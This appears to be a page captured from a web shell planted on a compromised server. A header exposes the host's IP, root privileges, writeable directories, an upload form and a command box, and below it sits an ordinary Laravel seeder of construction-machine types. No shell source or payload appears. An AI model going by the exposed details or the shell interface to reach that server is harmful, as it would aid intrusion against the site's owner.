Uname:Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64

Base Dir : /var/www/machinox.in

User : root


403WebShell
403Webshell
Server IP : 13.235.167.51  /  Your IP : 216.73.217.116
Web Server : Apache
System : Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64
User : root ( 0)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/app.machinox.in/database/seeders/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/app.machinox.in/database/seeders/MachineTypesTableSeeder.php
<?php

namespace Database\Seeders;

use Illuminate\Database\Console\Seeds\WithoutModelEvents;
use Illuminate\Database\Seeder;
use App\Models\MachineType;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Schema;

class MachineTypesTableSeeder extends Seeder
{
    /**
     * Run the database seeds.
     */
    public function run(): void
    {
        Schema::disableForeignKeyConstraints();
        DB::table("machine_types")->truncate();
        Schema::enableForeignKeyConstraints();
        $machineTypes = [
            [
                'name' => 'Concrete Machine',
                'icon' => 'Concrete-Machine.svg',
                'models' => [
                    ['name' => 'Batching Plant', 'icon' => 'Batching-Plant.svg'],
                    ['name' => 'Concrete Pump', 'icon' => 'Concrete-pump.svg'],
                    ['name' => 'Transit Mixer', 'icon' => 'Transit-mixer.svg'],
                    ['name' => 'Boom Pump', 'icon' => 'Boom-Pump.svg'],
                    ['name' => 'SPB', 'icon' => 'SPB.svg'],
                    ['name' => 'SLM', 'icon' => 'SLM.svg'],
                    ['name' => 'Concrete Conveyor', 'icon' => 'Concrete-conveyor.svg'],
                    ['name' => 'Silos', 'icon' => 'Silos.svg'],
                    ['name' => 'Blowers', 'icon' => 'Blowers.svg'],
                    ['name' => 'Accessories', 'icon' => 'Accessories.svg'],
                ]
            ],
            ['name' => 'Road / Earth Moving Machine', 'icon' => 'Road-Earth-Moving-Machine.svg', 'models' => [
                ['name' => 'Excavator', 'icon' => 'Excavator.svg'],
                ['name' => 'Dozer', 'icon' => 'Dozer.svg'],
                ['name' => 'Grader', 'icon' => 'Grader.svg'],
                ['name' => 'Compactor', 'icon' => 'Compactor.svg'],
                ['name' => 'Paver', 'icon' => 'Paver.svg'],
                ['name' => 'Roller', 'icon' => 'Roller.svg'],
                ['name' => 'Backhoe Loader', 'icon' => 'Backhoe-Loader.svg'],
            ]],
            ['name' => 'Drilling Machine', 'icon' => 'Drilling-Machine.svg', 'models' => [
                ['name' => 'Portable Drilling Machine', 'icon' => ''],
                ['name' => 'Rotary Drilling Machine', 'icon' => ''],
                ['name' => 'DTH Drilling Machine', 'icon' => ''],
                ['name' => 'Core Drilling Machine', 'icon' => ''],
                ['name' => 'Pneumatic Drilling Machine', 'icon' => 'pneumatic-drill.svg'],
                ['name' => 'Hydraulic Drilling Machine', 'icon' => ''],
            ]],
            ['name' => 'Cranes / AWP / Tower Cranes', 'icon' => 'Cranes Awp.svg', 'models' => [
                ['name' => 'Truck Mounted Crane', 'icon' => 'crane-truck.svg'],
                ['name' => 'Tower Crane', 'icon' => 'tower-crane.svg'],
                ['name' => 'Mobile Crane', 'icon' => 'mobile-crane.svg'],
                ['name' => 'Crawler Crane', 'icon' => 'crawler-crane.svg'],
                ['name' => 'Rough Terrain Crane', 'icon' => 'rough-terrain-crane.svg'],
                ['name' => 'All Terrain Crane', 'icon' => 'all-terrain-crane.svg'],
                ['name' => 'Lattice Boom Crane', 'icon' => 'lattice-boom-crane.svg'],
                ['name' => 'Telescopic Crane', 'icon' => 'telescopic-crane.svg'],
                ['name' => 'Boom Lift', 'icon' => 'boom-lift.svg'],
                ['name' => 'Scissor Lift', 'icon' => 'scissor-lift.svg'],
                ['name' => 'Spider Lift', 'icon' => 'spider-lift.svg'],
                ['name' => 'Articulating Boom Lift', 'icon' => 'articulating-boom-lift.svg'],
                ['name' => 'Telescopic Boom Lift', 'icon' => 'telescopic-boom-lift.svg'],
                ['name' => 'Self-Propelled Boom Lift', 'icon' => 'self-propelled-boom-lift.svg'],
                ['name' => 'Trailer-Mounted Boom Lift', 'icon' => 'trailer-mounted-boom-lift.svg'],
                ['name' => 'Vertical Mast Lift', 'icon' => 'vertical-mast-lift.svg'],
                ['name' => 'Material Lift', 'icon' => 'material-lift.svg'],


            ]],
            ['name' => 'Mining / Crushing', 'icon' => 'Mining-Crushing.svg', 'models' => [

                ['name' => 'Jaw Crusher', 'icon' => ''],
                ['name' => 'Cone Crusher', 'icon' => ''],
                ['name' => 'Impact Crusher', 'icon' => ''],
                ['name' => 'Hammer Crusher', 'icon' => ''],
                ['name' => 'Roll Crusher', 'icon' => ''],
                ['name' => 'Gyratory Crusher', 'icon' => ''],
                ['name' => 'Mobile Crusher', 'icon' => ''],
                ['name' => 'Portable Crusher', 'icon' => ''],
                ['name' => 'Screening Plant', 'icon' => ''],
                ['name' => 'Vibrating Screen', 'icon' => ''],
            ]],
            [
                'name' => 'Generators / Compressors / Welding Machines',
                'icon' => 'Generators-Compressors.svg',
                'models' => [
                    ['name' => 'Diesel Generator Set', 'icon' => ''],
                    ['name' => 'Gas Generator Set', 'icon' => ''],
                    ['name' => 'Bi-Fuel Generator Set', 'icon' => ''],
                    ['name' => 'Natural Gas Generator Set', 'icon' => ''],
                    ['name' => 'Hydrogen Fuel Cell Generator', 'icon' => ''],
                    ['name' => 'Solar Generator', 'icon' => ''],
                    ['name' => 'Wind Turbine Generator', 'icon' => ''],
                    ['name' => 'Hydroelectric Generator', 'icon' => ''],
                    ['name' => 'Microgrid Generator', 'icon' => ''],
                    ['name' => 'Combined Heat and Power (CHP) Generator', 'icon' => ''],
                    ['name' => 'Uninterruptible Power Supply (UPS)', 'icon' => ''],
                    ['name' => 'Standby Power Generator', 'icon' => ''],
                    ['name' => 'Backup Generator', 'icon' => ''],
                    ['name' => 'Portable Generator', 'icon' => ''],
                    ['name' => 'Inverter Generator', 'icon' => ''],
                    ['name' => 'Welding Machine', 'icon' => ''],
                    ['name' => 'Arc Welder', 'icon' => ''],
                    ['name' => 'MIG Welder', 'icon' => ''],
                    ['name' => 'TIG Welder', 'icon' => ''],
                    ['name' => 'Spot Welder', 'icon' => ''],
                    ['name' => 'Plasma Cutter', 'icon' => ''],
                    ['name' => 'Oxy-Acetylene Torch', 'icon' => ''],
                ]
            ],
            ['name' => 'Bricks / Water Chillers', 'icon' => 'Bricks-Water-Chillers.svg', 'models' => [
                ['name' => 'Brick Making Machine', 'icon' => ''],
                ['name' => 'Fly Ash Brick Machine', 'icon' => ''],
                ['name' => 'Concrete Block Making Machine', 'icon' => ''],
                ['name' => 'Paver Block Making Machine', 'icon' => ''],
                ['name' => 'Water Chiller', 'icon' => ''],
                ['name' => 'Chiller Plant', 'icon' => ''],
                ['name' => 'Cooling Tower', 'icon' => ''],
            ]],
            ['name' => 'Scaffolding / Formwork', 'icon' => 'Scaffolding-Formwork.svg', 'models' => [
                ['name' => 'Scaffolding System', 'icon' => ''],
                ['name' => 'Formwork System', 'icon' => ''],
                ['name' => 'Shoring System', 'icon' => ''],
                ['name' => 'Falsework System', 'icon' => ''],
                ['name' => 'Cuplock System', 'icon' => ''],
                ['name' => 'Kwikstage System', 'icon' => ''],
                ['name' => 'Ringlock System', 'icon' => ''],
                ['name' => 'Aluminium Formwork', 'icon' => ''],
                ['name' => 'Steel Formwork', 'icon' => ''],
                ['name' => 'Plastic Formwork', 'icon' => ''],
            ]],
            ['name' => 'Pumps / Motors', 'icon' => 'Pumps-Motors.svg', 'models' => [
                ['name' => 'Centrifugal Pump', 'icon' => ''],
                ['name' => 'Submersible Pump', 'icon' => ''],
                ['name' => 'Diaphragm Pump', 'icon' => ''],
                ['name' => 'Gear Pump', 'icon' => ''],
                ['name' => 'Peristaltic Pump', 'icon' => ''],
                ['name' => 'Screw Pump', 'icon' => ''],
                ['name' => 'Positive Displacement Pump', 'icon' => ''],
                ['name' => 'Magnetic Drive Pump', 'icon' => ''],
                ['name' => 'Vertical Turbine Pump', 'icon' => ''],
                ['name' => 'Horizontal Split Case Pump', 'icon' => ''],
                ['name' => 'Submersible Sewage Pump', 'icon' => ''],
                ['name' => 'Fire Pump', 'icon' => ''],
                ['name' => 'Booster Pump', 'icon' => ''],
                ['name' => 'End Suction Pump', 'icon' => ''],
                ['name' => 'Multistage Pump', 'icon' => ''],
                ['name' => 'Self-Priming Pump', 'icon' => ''],
                ['name' => 'Fountain Pump', 'icon' => ''],
                ['name' => 'Solar Pump', 'icon' => ''],
            ]],
            ['name' => 'Trucks / Dumpers', 'icon' => 'Trucks-Dumpers.svg', 'models' => [
                ['name' => 'Tippers', 'icon' => ''],
                ['name' => 'Dump Trucks', 'icon' => ''],
                ['name' => 'Tipper Trailers', 'icon' => ''],
                ['name' => 'Water Tankers', 'icon' => ''],
                ['name' => 'Cement Bulkers', 'icon' => ''],
                ['name' => 'Flatbed Trucks', 'icon' => ''],
                ['name' => 'Refrigerated Trucks', 'icon' => ''],
                ['name' => 'Container Trucks', 'icon' => ''],
                ['name' => 'Low Loader Trailers', 'icon' => ''],
            ]],
            ['name' => 'Forklifts / Reach Stacker', 'icon' => 'Forklifts-Reach-Stacker.svg', 'models' => [
                ['name' => 'Counterbalance Forklift', 'icon' => ''],
                ['name' => 'Reach Truck', 'icon' => ''],
                ['name' => 'Pallet Jack', 'icon' => ''],
                ['name' => 'Order Picker Forklift', 'icon' => ''],
                ['name' => 'Telehandler Forklift', 'icon' => ''],
                ['name' => 'Rough Terrain Forklift', 'icon' => '']
            ]]

        ];

        foreach ($machineTypes as $machineType) {
            $obj = MachineType::create(['name' => $machineType['name'], 'icon' => $machineType['icon']]);
            if ($obj) {
                foreach ($machineType['models'] as $model) {
                    $obj->models()->create([
                        'name' => $model['name'],
                        'icon' => $model['icon'],
                    ]);
                }
            }
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit